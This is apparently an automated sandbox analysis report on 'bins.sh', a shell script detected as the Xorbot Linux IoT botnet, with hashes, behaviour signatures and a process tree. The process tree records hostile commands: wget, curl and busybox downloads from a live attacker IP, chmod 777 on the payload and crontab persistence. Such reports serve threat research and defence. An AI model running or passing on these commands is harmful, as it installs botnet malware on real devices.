Analysis
-
max time kernel
149s -
max time network
150s -
platform
ubuntu-18.04_amd64 -
resource
ubuntu1804-amd64-20240611-en -
resource tags
-
submitted
27/02/2025, 16:23
General
-
Target
bins.sh
-
Size
10KB
-
MD5
e4ab9be0cf5c27c72b420fc606e0700a
-
SHA1
d3549211a3fdbd5e1fb153d2f7c711000b0339db
-
SHA256
0bfa0c9ecd60657c9dee4a927bf6fb575c6593ec3756e9425642452749a3a40c
-
SHA512
3e2b6dd99e8a0e4abc2a4a35a786de1d02d2b0fda5baa7390d53c70e31c978e62189d010741cc32d5bc5d613083cec1374501335a179f6fe533ff7170be7536b
-
SSDEEP
96:fHncM5hGDpc21Y8abkXx2tKbkE2h2tdRPWAxHnc6phGvpthLVY8xd:V5aG2+rQxG/CC
Malware Config
Signatures
-
Detects Xorbot 1 IoCs
-
Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
-
Xorbot family
-
Contacts a large (2033) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
-
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
-
File and Directory Permissions Modification 1 TTPs 1 IoCs
Adversaries may modify file or directory permissions to evade defenses.
-
Executes dropped EXE 1 IoCs
-
Renames itself 1 IoCs
-
Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
-
Enumerates running processes
Discovers information about currently running processes on the system
-
Reads runtime system information 64 IoCs
Reads data from /proc virtual filesystem.
-
Writes file to tmp directory 3 IoCs
Malware often drops required files in the /tmp directory.
Processes
-
/tmp/bins.sh/tmp/bins.sh1⤵
- Executes dropped EXE
- Renames itself
- Reads runtime system information
-
/bin/rm/bin/rm bins.sh2⤵
-
-
/usr/bin/wgetwget http://37.44.238.88/bins/PqJSRmQESXaCxjKaH4rwrQqE0jxQgjhmZH2⤵
- Writes file to tmp directory
-
-
/usr/bin/curlcurl -O http://37.44.238.88/bins/PqJSRmQESXaCxjKaH4rwrQqE0jxQgjhmZH2⤵
- Writes file to tmp directory
-
-
/bin/busybox/bin/busybox wget http://37.44.238.88/bins/PqJSRmQESXaCxjKaH4rwrQqE0jxQgjhmZH2⤵
- Writes file to tmp directory
-
-
/bin/chmodchmod 777 PqJSRmQESXaCxjKaH4rwrQqE0jxQgjhmZH2⤵
- File and Directory Permissions Modification
-
-
/usr/bin/crontabcrontab -l2⤵
-
-
/usr/bin/crontabcrontab -2⤵
- Creates/modifies Cron job
-
-
/bin/rmrm PqJSRmQESXaCxjKaH4rwrQqE0jxQgjhmZH2⤵
-
-
/usr/bin/wgetwget http://37.44.238.88/bins/PXTdGD1o3YFHfbDwLYuRTyTyFDodeeWxJd2⤵
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
98KB
MD55141342d0df8699fa32a6b066a0c592e
SHA18157673225bd5182f16215e2aa823a25ca2d4fbc
SHA25654302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d
SHA512d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801
-
Filesize
210B
MD5fb623c3445ca11a5dc9616a7ca266700
SHA1c6db3f370cbb466b4cafd8f940397ffbec77e406
SHA2563692fbe9e1c370a34c5d21508aef50396afadc0acf919ee3db99e213d01b0306
SHA512e1c818655c9fd0332bb8a7bd6b0813fa2e59428f7091d4a47c508158be853cae9d8454feb11d6808f057a7b6c2dba0d1e6640439c9ac938592568d8308e5cce1